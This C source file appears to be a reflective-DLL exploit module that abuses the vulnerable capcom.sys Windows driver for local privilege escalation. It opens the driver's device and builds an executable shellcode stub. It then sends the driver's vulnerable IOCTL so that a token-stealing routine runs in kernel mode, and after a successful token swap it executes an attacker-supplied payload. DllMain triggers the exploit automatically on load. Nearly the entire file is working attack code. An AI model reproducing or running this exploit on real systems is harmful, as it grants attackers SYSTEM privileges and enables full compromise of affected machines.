#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "kernel.h"

DWORD capcom_sys_exec(LPVOID lpPayload)
{
	const DWORD PwnControlCode = 0xAA013044;
	HANDLE driver = INVALID_HANDLE_VALUE;
	PBYTE payload = NULL;

	do
	{
		if (!is_driver_loaded(L"capcom.sys"))
		{
			break;
		}

		if (!prepare_for_kernel())
		{
			break;
		}

		// Get a handle to the capcom.sys driver.
		driver = CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
			OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

		if (driver == INVALID_HANDLE_VALUE)
		{
			break;
		}

		// get a payload read that should cause it to weep
		BYTE payloadTemplate[] =
		{
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // Pointer to the CALL will be set here too
			0xE8, 0x08, 0x00, 0x00, 0x00,                    // CALL $+8 (causes push of address of steal token)
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // Pointer to the token stealer will go here
			0x58,                                            // POP RAX - get the address containing the steal token func
			0xFF, 0x20                                       // JMP [RAX] - call the steal token function
		};

		payload = VirtualAlloc(0, sizeof(payloadTemplate) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

		if (payload == NULL)
		{
			break;
		}

		// copy the template into the target buffer
		memcpy(payload, payloadTemplate, sizeof(payloadTemplate));

		// update the template with the relevent info
		*(PULONG_PTR)payload = (ULONG_PTR)(payload + 8); // point the first 8 bytes to the second 8 bytes
		*(PULONG_PTR)(payload + 13) = (ULONG_PTR)steal_process_token; // insert the token stealer address

		ULONG_PTR target = (ULONG_PTR)(payload + 8);
		DWORD bytesReturned = 0;
		DeviceIoControl(driver, PwnControlCode, &target, 8, payload, 4, &bytesReturned, NULL);

		if (was_token_replaced() && lpPayload)
		{
			execute_payload(lpPayload);
		}

	} while (0);

	if (payload != NULL)
	{
		VirtualFree(payload, 0, MEM_RELEASE);
	}

	if (driver != INVALID_HANDLE_VALUE)
	{
		CloseHandle(driver);
	}

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
		{
			*(HMODULE *)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		capcom_sys_exec(lpReserved);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}
